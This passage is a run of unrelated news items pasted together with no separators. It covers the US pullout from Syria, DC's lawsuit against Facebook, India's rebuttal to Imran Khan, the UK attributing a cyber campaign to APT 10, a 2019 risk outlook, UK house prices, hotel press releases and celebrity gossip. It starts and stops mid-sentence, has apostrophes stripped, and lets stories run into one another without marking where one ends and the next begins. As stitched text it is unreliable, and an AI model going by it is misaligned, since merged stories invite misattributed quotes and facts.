terrorist outfit had been defeated. Allies France and United Kingdom disagreed and warned in public statements that though the IS was on the run, much remains to be done and that the outfit poses a threat even without territory. Paris has said its troops will remain in Syria because the fight against Islamic State is essential. At home, Republican Senator Lindsey Graham, a close Trump ally, called the decision a disaster and a stain on the honor of the United States as it amounted to betraying allies in the region. He joined five other senators, from both parties, to write to Trump urging him to reverse his decision. Trump showed no sign of relenting and, in fact, retweeted praise for the decision from others. And doubled down: Getting out of Syria was no surprise, he wrote in one of three Syria posts on Twitter Thursday. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Pressing that line, he went on to ask if the United States wanted to be the Policeman of West Asia, fighting others wars. Russia, Iran and Syria should fight these these battles as local enemies of IS he said, contending they will not be happy with US withdrawal, as they will have to continue the fight without us. Russia, at least, is not unhappy. Not publicly at least. Donalds right, and I agree with him, President Vladimir Putin said at his annual news conference and called it the right decision. But he appeared doubtful it the Americans will actually leave, citing American forces in Afghanistan who have stayed through several self-posted deadlines for 17 years now. The United States has an estimated 2,000 troops in Syria as part of an international coalition to fight the IS stationed mostly in the northern parts of the country and the Trump administration has claimed sweeping successes in throwing out the terrorists outfit that had entrenched itself taking advantage of the civil strife. Trumps abrupt announcement of the Syria pullout has raised questions about the presence of 15,000 US troops in Afghanistan and 5,000 in Iraq. While he has said the Afghanistan decision will be conditions-based and not one on deadlines, experts fear he could change his mind, going against advice. Critics of the presidents decision acknowledge the Islamic State is on the run, but insist it remains a threat. Adam Kinzinger, a US military veteran and Republican congressman, has said estimates of IS fighter still at large vary between 2,000 and 20,000. Others have warned that the withdrawal would betray regional allies such as the Kurds, and leave them vulnerable to Turkey, which views them as a threat. The Kurdish-led Syrian Democratic Forces said in a strongly worded statement: The war against terrorism has not ended and (the Islamic State group) has not been defeated. The United States has not yet announced a pullout timeline, but officials have said the process has started. The attorney general for Washington, DC said on Wednesday the US capital city had sued Facebook Inc for allegedly misleading users about how it safeguarded their personal data, in the latest fallout from the Cambridge Analytica scandal. The worlds largest social media company has drawn global scrutiny since disclosing earlier this year that a third-party personality quiz distributed on Facebook gathered profile information on 87 million users worldwide and sold the data to British political consulting firm Cambridge Analytica. Washington, DC Attorney General Karl Racine said Facebook misled users because it had known about the incident for two years before disclosing it. The company had told users it vetted third-party apps, yet made few checks, Racine said. Facebook said in a statement: Were reviewing the complaint and look forward to continuing our discussions with attorneys general in DC and elsewhere. Facebook could be levied a civil penalty of $5,000 per violation of the regions consumer protection law, or potentially close to $1.7 billion, if penalized for each consumer affected. The lawsuit alleges the quiz software had data on 340,000 D.C. residents, though just 852 users had directly engaged with it. Shares in the company were down 4.7 percent in afternoon trade on Wednesday. Privacy settings on Facebook to control what friends on the network could see and what data could be accessed by apps were also deceiving, Racine said. Facebooks lax oversight and confusing privacy settings put the information of millions of consumers at risk, he told reporters on Wednesday. In our lawsuit, were seeking to hold Facebook accountable for jeopardizing and exposing the information of its customers. Racine said Facebook had tried to settle the case before he filed the lawsuit, as is typical during investigations of large companies. He described Facebooks cooperation as reasonable, but said that a lawsuit was necessary to expedite change at the company. At least six US states have ongoing investigations into Facebooks privacy practices, according to state officials. In March, a bipartisan coalition of 37 state attorneys wrote to the company, demanding to know more about the Cambridge Analytica data and its possible links to US President Donald Trumps election campaign. Also in March, the Federal Trade Commission took the unusual step of announcing that it had opened an investigation into whether the company had violated a 2011 consent decree, citing media reports that raise what it called substantial concerns about the privacy practices of Facebook. If the FTC finds Facebook violated the decree terms, it has the power to fine it thousands of dollars a day per violation, which could add up to billions of dollars. State attorneys general from both major US political parties have stepped up their enforcement of privacy laws in recent years, said James Tierney, a lecturer at Harvard Law School and Maines former attorney general. Uber Technologies Inc [UBER.UL] in September agreed to pay $148 million as part of a settlement with 50 U.S. states and Washington, DC, which investigated a data breach that exposed personal data from 57 million Uber accounts. India on Thursday lashed out at Pakistan Prime Minister Imran Khans remarks on the death of seven civilians during an operation against militants in Jammu and Kashmir, saying Pakistani leaders should mind their own business and take steps to end terror emanating from their soil. In a set of recent tweets, Khan condemned the deaths of the civilians and said that Kashmiris must be allowed to decide their future. He also tweeted that Pakistan would raise the issue of Indias alleged human rights violations at the United Nations. Responding to a question on Khans tweets, external affairs ministry spokesperson Raveesh Kumar said at a weekly news briefing that the statements coming out from their side demonstrates the insincerity and duplicity. He added, I think it will be better if they mind their own business and look at their internal affairs, which are in quite a mess in their own country. Kumar said India has been demanding that Pakistan should stop allowing your territory to be used for terror groups and terrorists, who are operating from your soil and exporting to other countries. He added, No action is being taken on that. On the other hand, they sometimes have the gumption to comment on the internal affairs of a neighbouring country. On December 15, seven civilians were killed and several more injured when security forces opened fire on local residents who tried to disrupt a joint operation by the army and police in Pulwama district, during which three militants and a soldier were also died. The killing of civilians in Sirnoo village triggered several protests in Pulwama, and people blocked roads at several places. The next day, Khan tweeted: Strongly condemn killing of innocent Kashmiri civilians in Pulwama IOK by Indian security forces. Only dialogue & not violence & killings will resolve this conflict. We will raise issue of Indias human rights violations in IOK & demand UNSC fulfil its J&K plebiscite commitment. India has insisted that there can be no talks with Pakistan till it takes action against terror groups such as the Lashkar-e-Taiba and the Jaish-e-Mohammed operating from its soil. Pakistan has been calling for a dialogue on all outstanding issues, including Kashmir. The Theresa May government on Thursday said the United Kingdom and its allies were naming elements of the Chinese government for allegedly indulging in an extensive cyber campaign targeting commercial secrets in Asia, Europe and the United States. This is the first time that the UK government has publicly named elements of the Chinese government as being responsible for a cyber campaign. The Foreign Office announced that a group known as APT 10 acted on behalf of the Chinese ministry of state security to carry out what it called a malicious cyber campaign targeting intellectual property and sensitive commercial data in various countries. The National Cyber Security Centre (NCSC) assesses with the highest level of probability that the group widely known as APT 10 is responsible for this sustained cyber campaign focused on large-scale service providers, the office said in a statement. The group almost certainly continues to target a range of global companies, seeking to gain access to commercial secrets. Foreign secretary Jeremy Hunt said: This campaign is one of the most significant and widespread cyber intrusions against the UK and allies uncovered to date, targeting trade secrets and economies around the world. These activities must stop. They go against the commitments made to the UK in 2015, and, as part of the G20, not to conduct or support cyber-enabled theft of intellectual property or trade secrets. The government, it said, will take forward further engagement with service providers to ensure they have robust protections in place against continuing and emerging cyber threats, adding that it is clear that in some cases basic cyber security measures are still not being taken, and this is not acceptable. According to the NCSC assessment, it is likely that APT 10 has an enduring relationship with the Chinese ministry of state security, and operates to meet Chinese state requirements. Given the high confidence assessment and the broader context, the UK government has made the judgement that the Chinese ministry of state security was responsible, the official said. The world is changing fast and 2019 promises to be another bewildering and chaotic year. The rise of China in the East and populists in the West means that, by mid-2018, economies run by mainstream democratic parties accounted for just a third of the combined gross domestic product of the Group of 20 nations, down from 83 percent in 2007, according to Bloomberg Economics. And that was before the election of two more populist presidents, Andres Manuel Lopez Obrador in Mexico and Jair Bolsonaro in Brazil. In 20 years I havent operated in an environment like this, ever, because there were always safe havens before. Countries we thought easy to predict are becoming harder to read now, says Claire Simpson, global claims director at Willis Tower Watson Plc, a global risk advisory and insurance company. Whether this upheaval is due to a technological revolution, income inequality, a clash of civilizations or Western arrogance (choose your poison), the trend is set to continue. In 2019, a number of these transitions from the post-Cold War era have the potential to come to a head, each carrying worst case risks. To help navigate them, weve compiled a calendar of some of the key moments to watch, organized by topic. Happy New Year. A New Arms Race On Dec. 4, Donald Trump gave Russia 60 days to comply with the Intermediate-range Nuclear Forces Treaty or see Washington trigger a six-month notice period to end its commitments not to produce land-based missiles and launchers that have a range of 500 kilometers (310 miles) to 5,500 kilometers. The clock runs out at the end of February. The 1987 treaty was negotiated between the U.S. and then-Soviet Union to dismantle thousands of middle-range nuclear missiles in Europe. Shorter trajectories made them hard to respond to and therefore destabilizing. That remains true today, but non-signatory China wasnt covered and now has a large arsenal of them. Russia says it hasnt breached the treatys terms. Worst case: The U.S. exits and Russia points previously banned missiles at its Western neighbors, supercharging an arms race in high-tech weapons already underway, and tossing a political grenade into NATO, as the U.S. and eastern and western European members divide over whether to respond in kind. Risk of INF treaty collapse: High Risk of new nuclear arms race in Europe: Medium Russia A 2018 survey for Willis Towers Watson found that its larger clients suffered most losses in Russia, often as a result of sanctions. So Russia gets its own category. The Kremlin may have given up on cultivating Trump, after he canceled two meetings with President Vladimir Putin toward the end of the year. Russias meddling in foreign elections, and its efforts to extend influence in the Balkans and former Soviet republics look set to continue, with further U.S. sanctions in response. A summit in Washington, previously floated for 2019, appears to be in jeopardy, though the two could potentially meet at the next G-20 summit in Japan in June. Worst case: U.S.-Russian relations descend into open hostility, affecting arms control and areas where they had until now been able to cooperate. Risk: High Trade Wars The 90-day tariff truce that Trump and President Xi Jinping agreed at the recent G-20 expires at the end of February. If they fail, U.S. tariffs would rise on a $200 billion tranche of imports from China. The whipsaw on the S&P 500, as events repeatedly boosted and then undermined belief in the truce, show the stakes. Worst case: A full-fledged trade war that expands into an open struggle for strategic dominance by the end of the year, undermining growth and security around the globe. Risk: High Also by February, the U.S. Commerce Department is due to rule on whether automobile imports constitute a national security threat, a designation that would let the U.S. slap higher tariffs on imports of cars without technically breaching World Trade Organization rules. European, and in particular German car manufacturers have most to lose. U.S. trade talks with Japan could take place any time from January, with more scope for a deal than with the EU. The Japan G-20 summit could be tense as a result. Worst case: The U.S. raises tariffs on auto imports, triggering a full-fledged trade war with Europe. The G-20, made impotent by rising nationalism, loses relevance. Risk: High To close out the year, unless the U.S. stops blocking appointments to the appellate body of the WTO in Geneva, the trade body will on Dec. 10 lose the minimum three judge quorum needed to issue rulings. Worst case: The world loses its dispute resolution mechanism for trade disputes. Risk: High War Wars U.S. pressure on Iran will build, after Trump withdrew from the 2015 nuclear deal and, in November, reimposed so-called secondary sanctions on companies from other countries that breach U.S. sanctions. The strategy, backed by Israel, Saudi Arabia and the UAE, is to squeeze Iran out of Yemen, Syria, Lebanon and Iraq, and back to the nuclear negotiating table. So far the effort has had both limited cost and success, but with sanctions taking full effect, 2019 could be an eventful year. With so many flashpoints, the potential for escalation is clear. (Click here for the International Crisis Groups interactive map of trigger areas). Worst case: Iran restarts nuclear fuel production, prompting a rapid escalation. Pressured, Tehran tries to block the Strait of Hormuz, where it has naval exercises scheduled for August and through which 30 percent of the worlds crude oil supply passes every day. Risk: Medium North Korea would have topped any list of global security threats at the start of 2018, but the June summit between Trump and Kim Jong Un defused an escalatory spiral of threats and ballistic missile tests. Things remain calm, but Kim shows no sign of genuinely dismantling his nuclear or missile programs, and likely used the detente to stockpile nuclear material and improve his weapons systems. Kim says the arrogance of U.S. demands is to blame for the lack of progress. Trump has said he wants another meeting, in January or February. Annual U.S.-South Korean military exercises usually take place in March and August. Worst case: A summit bust-up that leads to a renewed cycle of escalation. Risk: Low The low level conflict in Eastern Ukraine returned to the headlines in November, when Russian special forces rammed, fired on and seized three Ukrainian naval vessels making their way into the Sea of Azov. Russia had been restricting commercial shipping to Ukrainian commercial ports in the sea for months before. The rhetorical fireworks between Kiev and Moscow are unlikely to die down before Ukrainian presidential elections on March 31. Worst case: Political instability and an incident that escalates to a rekindled Russian-Ukrainian war. Risk: Medium Afghanistan is due to hold presidential elections on April 20. The U.S., anxious to find an exit from a war that in 2019 will be in its 18th year, is raising the pace of peace talks with Islamist insurgents from the Taliban movement that ruled the country at the time of the 9/11 attacks on the U.S., in 2001. Washington is also pressuring Pakistan, the Talibans backer, to cooperate. But with military operations running at a high pace, and casualties heavy among an Afghan army that still needs support, withdrawal will be as hard to achieve as in previous years. Worst case: The war continues for Afghans, the U.S. and its allies. Risk: High The war in Syria looks certain to continue for an eighth year in 2019. Turkey is likely to be at the center of events early on. President Recep Tayyip Erdogan threatened last week to begin a new offensive within days against ethnic Kurdish fighters who occupy much of the area just south of Syrias border with Turkey. Doing so could see a confrontation between Turkish and the U.S. forces that have fought alongside the Kurds to clear the country of Islamic State terrorists. Meanwhile, Russia may call time on a truce in which it agreed not to attack Idlib, the last major territory held by rebel groups fighting the regime of President Bashar al-Assad. The truce is designed to give Turkey time to clear jihadists and heavy weaponry from the area. A wider risk is that with Iran, Israel, Russia, Turkey and the U.S. now militarily present either on the ground or in the air, deconfliction fails. Worst case: The war escalates into a wider conflict among regional powers, driving more refugees to fragile states such as Jordan and Lebanon, as well as to Turkey. Risk: Medium Nigeria holds elections on Feb. 16 and an intensified campaign by an Islamic State-allied faction of the jihadist Boko Haram is expected. After declaring victory, Nigerias military has struggled to reassert control over swathes of the country and has suffered a succession of humiliating defeats, as Boko Haram overran under-resourced military posts to seize their weapons stores. Hence, the fear of a major campaign to come. Worst case: Boko Haram gets a fresh wind as a demoralized Nigerian military fails to protect polling booths and civilians from attack. Risk: High The opening of Ethiopias much delayed $4.8 billion hydroelectric dam project on the Blue Nile is now expected in late 2019. The impact of filling the dam on Egypt, downstream, has led to intense negotiations over how long this should take, with a possible range of 3-to-15 years. Too short and Egypt, which is already water poor, could lose an estimated 20 percent of its supply. Ethiopia is anxious to start generating power to defray the investment cost. At times, Egyptian leaders hinted at a military solution, but for now diplomacy rules. Worst case: Ethiopia stars filling the dam at a high rate with no agreement in place, triggering an Egyptian response. Risk: Medium European Disunion 2019 has potential to become an annus horribilis for the European Union. While Italy looks to have averted for now EU fines for running an excessive deficit, the fragile coalition of two EU-skeptic populist parties in Rome is unlikely to wait long until it next takes on Brussels. A recession and early elections are possible, as they are in Spain. In December a far right party, Vox, won seats in a Spanish regional election for the first time since the death of General Franco. The stakes are high for Europe as a whole. French and German banks held more than $400 billion of Italian debt in 2018, compared with $115 billion of Greek debt at the start of that countrys debt crisis in 2010. Worst case: Greece on steroids, a new crisis that breaks up the euro. Risk: Low Then comes Brexit. The March 29 deadline for the U.K. to leave the EU approaches with no terms yet agreed and the British parliament so divided that its hard to predict an outcome. Brexit is big. London is the seat of European finance and the U.K. has one of the EUs largest economies and militaries. The Bank of England, controversially, has projected Brexit to cost anywhere from 1.5 percent to 10.5 percent of gross domestic product (currently $2.6 trillion) over five years, depending on how the U.K. leaves. Worst case: A bitter, disorderly Brexit without agreement on its terms that imposes heavy economic costs on both sides and damages security cooperation against common threats. Risk: Low, though as BoE Governor Mark Carney put it, still uncomfortably high A third challenge to the EU comes from elections to the European Parliament. The May 23-26 vote is shaping up as a major test of the EUs popularity and of the upstart nationalist and populist parties straining against it. Former Trump strategist and alt-right hero Steve Bannon has said he will co-ordinate the campaigns of nationalist parties across the bloc. Leading the charge against them? A diminished French President Emmanuel Macron and lame duck German Chancellor Angela Merkel. All of the above will feed into the always fraught selection, by late October, of the next presidents of the European Central Bank, European Commission and European Council. Worst case: The populists win big, gaining enough seats in parliament both to hobble the EUs legislative process and boost prospects for nationalist victories and agendas across Europe. Risk of populist gains: High Trump The U.S. president gets his own category, too. If the last two years have been eventful, 2019 will be more so. The Mueller investigation into alleged collusion between the 2016 Trump election campaign and Russia could deliver its findings in the first part of the year. These wont necessarily be made public, or produce any impeachable offense. Yet they will create turmoil and distraction in a White House that, after Novembers midterm rout of Republicans in the House, will face a hostile Congress spoiling for new investigations of the President, including into his finances. The political temperature will only rise through the year, as both Trump and his opponents move to campaign ahead of the presidential election in 2020. Worst case: Political gridlock in Washington and yet more Twitter bombs launched into sensitive foreign policy issues to draw attention away from the investigation. Risk: High H ouse prices in the UK are growing at their slowest pace in over five years according to the latest figures released today. Sold house prices rose 2.7 per cent over the year to 231,000 but dropped slightly month on month, by 0.2 per cent, the Office for National Statistics (ONS) data found. North West England led the price rise with the average sold price up 4.9 per cent in a year to 165,000, thanks to a strong jobs market in Manchester and the surrounding areas. Yorkshire and the Humber had the second strongest year for price growth with house prices rising 4.4 per cent to 164,000. The East Midlands saw 4.3 per cent price growth to 193,000. But in London, still by far the most expensive place to buy a home, prices dropped by 1.7 per cent year on year, to an average sold price of 474,000. Jonathan Hopper, managing director of Garrington Property Finders attributed this to Londons exposure to the impact of Brexit. The North East was the other region to experience falling prices, down 0.1 per cent in a year to 128,000. Two years of gnawing uncertainty about Britains post-Brexit future have chilled several regional markets to the bone, said Mr Hopper. In London and North East England two regions expected to feel the impact of Brexit more than most average prices are falling as demand wobbles and would-be sellers hunker down and wait for things to improve before putting their home on the market. 231,000: the average price of a home in the UK / Daniel Lynch Parts of London experienced the worst price falls since the peak of the financial crash. House prices in the City of London and Tower Hamlets, where many of those who work in financial services live, saw double digit drops. More than 55,000 was wiped from the average sold price of a home in Tower Hamlets. Now Open 19 December 2018 Come Friday, 21 December, 2018, Pavilion Hotel Kuala Lumpur Managed by Banyan Tree - the first hotel property under the Pavilion Group - will officially open its doors to the public. Pavilion Hotel Kuala Lumpur stands 13 floors above Pavilion Kuala Lumpur, the award-winning six-storey shopping centre, adjacent to the Couture Precinct extension. Right in the heart of the capital of Malaysia, hotel guests have easy access to popular shopping hotspots and attractions - from well-known street markets such as Bukit Bintang to the best dining and nightlife experiences such as Jalan Alor and Changkat Bukit Bintang. They can also explore world-renowned landmarks such as Kuala Lumpur Tower, Petronas Towers and Kuala Lumpur Convention Centre, all within walking distance. Impeccable service and unrivalled experiences await guests at Pavilion Hotel Kuala Lumpur. The hotel features 325 rooms and suites decked in contemporary decor for the discerning traveller in need of an urban getaway. These include 115 City Oasis rooms [32 to 43 square metres (sqm)], 60 Courtyard Oasis rooms (38 to 43 sqm) and 45 Grand Oasis rooms (42 to 60 sqm). For guests who enjoy a bit more exclusivity, the hotel has four dedicated club floors, including 59 Club City Oasis rooms (32 to 49 sqm) and 20 Club Grand Oasis rooms (42 to 60 sqm). Club room guests have exclusive access to the Club Lounge located on Level 14, relaxing with a delectable breakfast spread, light bites or cocktails while taking in the magnificent view of Kuala Lumpur's cityscape. There are also 26 contemporary suites available for an extra touch of luxe and space: 16 Urban Studio Suites, (64 to 72 sqm), eight Urban Suites(70 to 76 sqm), one Pavilion Suite (113 sqm) and one Presidential Suite (319 sqm). In the world of dining, guests are in for a treat with a dedicated and skilful F&B team. Level 8 houses The Courtyard, Pavilion Hotel Kuala Lumpur's all-day dining restaurant that offers a mouth-watering smorgasbord of Southeast Asian-inspired cuisine. Guests can also dine at Ebisu, a restaurant and bar space featuring an array of Japanese cuisine with a twist. On Level 7M, the Whisky Cove is the place to unwind with a wide selection of whiskies and blends from around the world. Pavilion Hotel Kuala Lumpur also offers a range of meeting and event facilities suitable for all occasions. The total event space measures 1,298 sqm, with a ballroom that can accommodate up to 500 persons, a crescent-shaped venue that sits 120 persons in banquet setting and five fully-equipped meeting rooms that can accommodate 40 persons per room. The urban escapade is not complete without a rejuvenating experience at the award-winning Banyan Tree Spa. A selection of Asian-inspired treatments are available and with highly-skilled therapists who have undergone a minimum of 350 hours of training at Banyan Tree Spa Academy, guests are in for a pampering time. The Sky Gym and Rooftop Infinity Pool are located on Level 18, offering an unparalleled view of Kuala Lumpur. Guests can shop at Banyan Tree Gallery, the hotel's dedicated retail outlet offering a collection of handicrafts, resort apparels and signature spa amenities. "This effervescent and cosmopolitan city is filled with vibrant beauty and diversity. With the flourishing business landscape that Kuala Lumpur possesses, this charming city has become a mecca of sorts for both tourists and business travellers around the world. In addition, some of the best shopping malls in the world, as well as modern and historical landmarks - are within a stone's throw away. Pavilion Hotel Kuala Lumpur is in an ideal hotel destination for business travellers and holidaymakers and even locals looking for a pampering staycation," said Anders Dimblad, General Manager of Pavilion Hotel Kuala Lumpur and Banyan Tree Kuala Lumpur. Appointment 20 December 2018 HP Hotels, a full-service third-party hotel management company, announced today that it has hired David Rosenberg to serve as one of the company's vice presidents of operations. Charles Oswald, president and CEO, made the announcement. In this position, Rosenberg will have responsibilities for day-to-day operational execution of HP Hotels' growing portfolio of Select Service and Full-Service assets. Rosenberg has more than 20 years of experience in the industry. This includes time spent in senior management roles with Interstate Hotels and Resorts and Noble Investment Group. Most recently Rosenberg was vice president of operations for Winegardner and Hammons, where he was directly responsible for the company's full-service portfolio of Marriott branded hotels. Appointment 20 December 2018 The Adolphus, Dallas' premier luxury boutique property, proudly welcomes a new Spa Director, Amy Bell, to oversee operations for its destination Spa Adolphus. Bell brings more than a decade of industry experience, working with luxury brands such as The Ritz-Carlton and high-end skin care lines such as Dr. Dennis Gross Skincare. The luxury wellness enclave located on the hotel's seventh floor wellness deck features six personal treatment rooms, a couple's therapy room with a private terrace, a serene indoor and outdoor relaxation area with a patio overlooking the city, a hair and manicure salon, and a private event space. The 5,000-square-foot spa, open as of October 2016, boasts plant-based products and organic fragrances from New York City based pioneer in beauty wellness, Red Flower, as well as a curated retail selection designed to promote beauty inside and out. Bell plans to offer additional product lines such as Dr. Dennis Gross Skincare and Kerstin Florian, and will be the first spa in the country to offer Alpyn Beauty, a wild harvested and hand cultivated US-based skincare line. A food menu featuring light, healthy offerings such as Compressed Watermelon Salad and Cheese & Charcuterie is also available for guests. In her role, Bell will introduce fresh signature treatments, new bridal packages, and new seasonal services, to keep spa guests excited to visit again and again. New signature treatments include "The 1912," a special body treatment that will coincide with the 1912 signature cocktail, and the Gua Sha Facial which is a method of facial massage to relive tension in muscles and boost circulation. This month, Bell created a seasonal Apple Cinnamon Body Experience, incorporating an apple cinnamon sugar scrub, melted caramel body wrap and apple spice body butter to leave skin glowing for the holiday season. An Apple Cinnamon Pedicure and Manicure accompanies the treatment as part of the Holiday Spice Package (2 hours and 15 minutes, $170) available through December 31st. In January 2019, Bell will roll out promotions every week day, in addition to a Loyal Locals program for Dallas residents which will also include access to The Adolphus rooftop pool and state-of-the-art fitness facility located next to the spa. Bell also plans to introduce Botox parties in collaboration with a local plastic surgeon in the coming months. "Wellness is a key pillar for our business and leisure guests, and Amy's leadership and expertise in her field will launch an exciting new chapter for our destination spa," said Brett Orlando, Senior Vice President of Operations at Makeready, the company who has led the repositioning for The Adolphus and Spa Adolphus. "We're happy to have her on the team to contribute to the stellar experience our guests recognize The Adolphus for." Bell developed her expertise and passion for skin care most recently as a spa professional at DERMAFLASH, a revolutionary facial care product line, and during her tenure with Dr. Dennis Gross Skincare. Previously, Bell served as the Spa Manager for the Ritz-Carlton, Denver and The Ritz-Carlton, Dallas for more than seven years. Revenue per available room up 4.1 Percent to CAD75.61 The Canadian hotel industry recorded positive year-over-year results in the three key performance metrics during the week of 9-15 December 2018, according to data from STR. In comparison with the week of 10-16 December 2017, the industry reported the following: Occupancy: +2.6% to 54.5% Average daily rate (ADR): +1.5% to CAD138.74 Revenue per available room (RevPAR): +4.1% to CAD75.61 Among the provinces and territories, Prince Edward Island registered the highest lift in RevPAR (+22.8% to CAD36.60), which was driven by the only double-digit increase in ADR (+12.0% to CAD116.16) and the second-highest rise in occupancy (+9.6% to 31.5%). Alberta experienced the highest jump in occupancy (+9.8% to 49.4%), but the second-largest drop in ADR (-3.1% to CAD125.31). Saskatchewan saw the second-largest lift in RevPAR (+7.5% to CAD58.55), due to the third-largest increase in occupancy (+8.2% to 52.0%). Seven of the 11 reporting provinces and territories saw RevPAR growth. Newfoundland and Labrador posted the largest decrease in ADR (-8.3% to CAD119.71), which resulted in the steepest decline in RevPAR (-9.9% to CAD56.56). Nova Scotia experienced the largest drop in occupancy (-5.8% to 48.3%) and the second-largest decrease in RevPAR (-6.6% to CAD58.49). STR provides clients from multiple market sectors with premium, global data benchmarking, analytics and marketplace insights. Founded in 1985, STR maintains a presence in 10 countries around the world with a corporate North American headquarters in Hendersonville, Tennessee, and an international headquarters in London, England. For more information, please visit str.com. Daily News Delivery Join your colleagues and stay up to date on the latest Hotel industry news and trends. Subscribe 2021 Hotel News Resource The hotel is partially owned and operated by Concord Hospitality, developed by Greystar and Whitman Peterson and designed by R2L: Architects. Today, Canopy by Hilton, Hiltons (NYSE: HLT) lifestyle brand, officially announces the opening of its Midtown Atlanta location. The hotel is partially owned and operated by Concord Hospitality, developed by Greystar and Whitman Peterson and designed by R2L: Architects. Canopy by Hilton Atlanta Midtown, which is the first lifestyle hotel of its kind in Georgia, will offer guests thoughtfully-curated local experiences from check-in to check-out. Guests can grab a complimentary Canopy Bike and explore the many nearby attractions, ranging from countless parks to the renowned Beltline, as well as take in all of the unique shopping, restaurants, museums and nightlife that the city has to offer. Known for being a cultural epicentre with a vibrant art, music and theatre scene, Midtown is a young, exciting area with plenty to do for all types of travelers. Opening this hotel in Atlanta has been such an exciting project, said Vincent Bucci, chief enthusiast at Canopy by Hilton Atlanta Midtown. Since breaking ground, we have watched this neighborhood change before our eyes and have become a part of the amazing community of people here. We cannot wait for visitors from all over the world to experience the same Southern hospitality we have come to know and love here in the capital of the South. We are thrilled to introduce Canopy by Hilton Atlanta Midtown as one of our premier properties in the Southeast. Known for its vibrant history, rich culture and community-focused neighborhoods, Atlanta is a natural fit to welcome to the Canopy family, said Gary Steffen, global head of Canopy by Hilton. We are delighted to bring our locally-inspired lifestyle brand to this cosmopolitan city and look forward to sharing the Canopy experience with our guests and neighbors in the heart of Atlanta. Canopy by Hilton Atlanta Midtown is home to 176 Just-Right rooms, including four spacious suites. The interiors of the rooms are inspired by the thriving art community surrounding the hotel, with local textiles and artwork featured throughout. With the help of designers Krause Sawyer, as well as three local commissioned artists, the interior styling of the hotel mimics the vibrant community that awaits outside. For breakfast, guests can start their day with an inclusive artisanal breakfast in the in-house restaurant Xhibit Studio Kitchen & Bar or opt for the Break Fast bag to be delivered to their room, ideal for travelers on the go. For guests dining in, Xhibit Studio Kitchen & Bar also offers authentic cuisine made from fresh local ingredients with menu highlights including traditional specialities such as Shrimp & Grits, Southern Buttermilk Pie and a selection of local cheese, beer and wines. Superfood hummus, pretzels and Sweetwater 420 Cheese Dip and daily hotel offerings will be available during evening tastings. For meetings and events, Atlanta is an ideal choice as it is the location of one of the worlds most-traveled airports, Hartsfield Jackson, located just 14 miles away from Canopy by Hilton Atlanta Midtown. The hotel has three meeting rooms, offering intimate meetings capabilities as well as a unique outdoor venue for social events such as cocktail receptions. The hotel also has a state-of-the-art 24-hour fitness center. Canopy by Hilton Atlanta Midtown is located at 1414 West Peachtree Street NW. As the place in the neighborhood to relax and recharge, Canopy guests check-in to an open, welcoming space at Canopy Central, where travelers unwind with nightly tastings of locally-sourced brews, wine and spirits. Post check-in, guests enjoy the efficient design of their Just-Right Room, providing the highest level of comfort with a local touch. Thoughtful, surprising extras are in Canopys DNA, including complimentary artisanal breakfast and Wi-Fi as well as a Welcome Gift a little something from the neighborhood. Guests can also tap Canopy Enthusiasts or local experts for their local know-how such as recommendations on the best restaurants and excursions in the neighborhood available to explore on Canopy complimentary bikes. Daily News Delivery Join your colleagues and stay up to date on the latest Hotel industry news and trends. Subscribe 2021 Hotel News Resource It doesn't matter that Tekashi 6ix9ine is currently serving hard time for some potentially life-altering charges. No, no, not to a Houston Judge, who sat presiding over 6ix9ine's long active "Mall Assault" case. You might remember that 6ix9ine previously caught a charge after assaulting a young fan in a Houston mall, after said fan allegedly called him a "gay ice cream truck." Unfortunately for Tekashi, the case ended up proving to be a thorn in his side, especially after it led to his arrest in New York. As it stands, the case continues to cause him problems to this day. TMZ confirms that a Houston Judge has officially issued an arrest warrant for the young rapper, after he proved unable to attend his court date in Houston. Obviously, 6ix9ine had a viable reason for missing the hearing, of which the judge proved fully aware. Still, it mattered not, and the arrest warrant was issued as per protocol. It's unclear whether or this the warrant ultimately holds any water given the circumstances, though it's a testament to the fact that the system is absolutely set on burying the rainbow wonder once and for all. In truth, we kind of miss the little guy. What about you? The temperature may have dropped quite a bit for the Northerners but for the Los Angeles residents such as Kim Kardashian and Amber Rose, the heat is just begging them to loosen up and drop some articles of clothing. Kanye's former girlfriend hit up Instagram to share a photo of herself in a Fashion Nova coat (of course) with nothing underneath. "@fashionnova is keeping me warm this holiday season," she captioned the post. https://www.instagram.com/p/BrmM8BlAkYf As for Kanye's current love, the reality star showed off her impressive purse and show collection but most importantly, she let the world know that she's in need of "a spray tan." We think Kim looks pretty tanned from the post but to each their own with beauty standards. https://www.instagram.com/p/BrmECt2njJE In other Kim news, CNN's Van Jones did nothing but praise the mother of three for her efforts in helping to pass the First Step Act. "If Kim Kardashian had not gone to the White House to speak with Donald Trump, we would not have passed this bill, we would not have 50,000 people fewer in federal prison because of this bill," Van said of Kim. "[...] Because Kim Kardashian was willing to put her celebrity [status] on the line for people she didn't even know." El Chapo's wife has been the center of attention for moments at a time, during her husband's federal trial in New York City - first as a lobbyist to her spouse, then later as the object of furlough demands that were rebuked by the judge. Emma Coronel Aispuro may not be allowed to embrace her husband while he stands trial, but she has something in mind that might compensate for lost time. According to the New York Post, Aispuro is dead set on returning to NYC from Mexico to support her husband, but in a different capacity than her last visit. This time around, Aispuro intends on bringing the whole family with her, including the couple's 7-year old twin daughters, who at this point, must have some inclination as to what their Daddy does/did for a living. The inclusion of their twin daughters in her travels is intended as an early Christmas gift to her spouse. Of course, the twins and Emma Coronel herself, are still subject to a travel clearance. But if everything goes as planned, El Chapo will be permitted at least one visit from his children. As for El Chapo's wife Emma, nothing has changed - she is still banned from communicating with her spouse, for reasons connected to his drug operation, as you might be aware. Meek Mill has more than one reason to celebrate at present time, but one thing is harboring a stronger sentiment than the rest. Meek jumped on Instagram last night with the following message to his followers and the members of Senate voting his way: "This major!!!!" A lot of over sentenced (over-sentenced) men and women will come home soon!!" https://www.instagram.com/p/BrjYdMAHB5Q In case you didn't know, Senate approved a Bipartisan Criminal Justice Bill, just yesterday. What the means exactly requires closer inspection. The first step in the program would enable ex-convicts to job training programs and modifies sentencing laws that prohibit nonviolent felons from seeking alternative justice. The bill seems to be exactly the kind of legislative process that would have prevented Meek Mill's "wheelie non-arrest" from becoming the full-blown headhunt administered by Judge Brinkley. And yet, from Meek Mill's perspective and America at large, the fight for prison reform has barely started. Prison reform is inherently a different cause than its revolutionary counterpart, the prison abolition movement which calls for jailhouses to be replaced by rehabilitation centers. https://twitter.com/_/status/1075205840930516992 The Senate voted 87 to 12 to approve the motion, but it still has to inspection in front of President Donald Trump's desk, who is 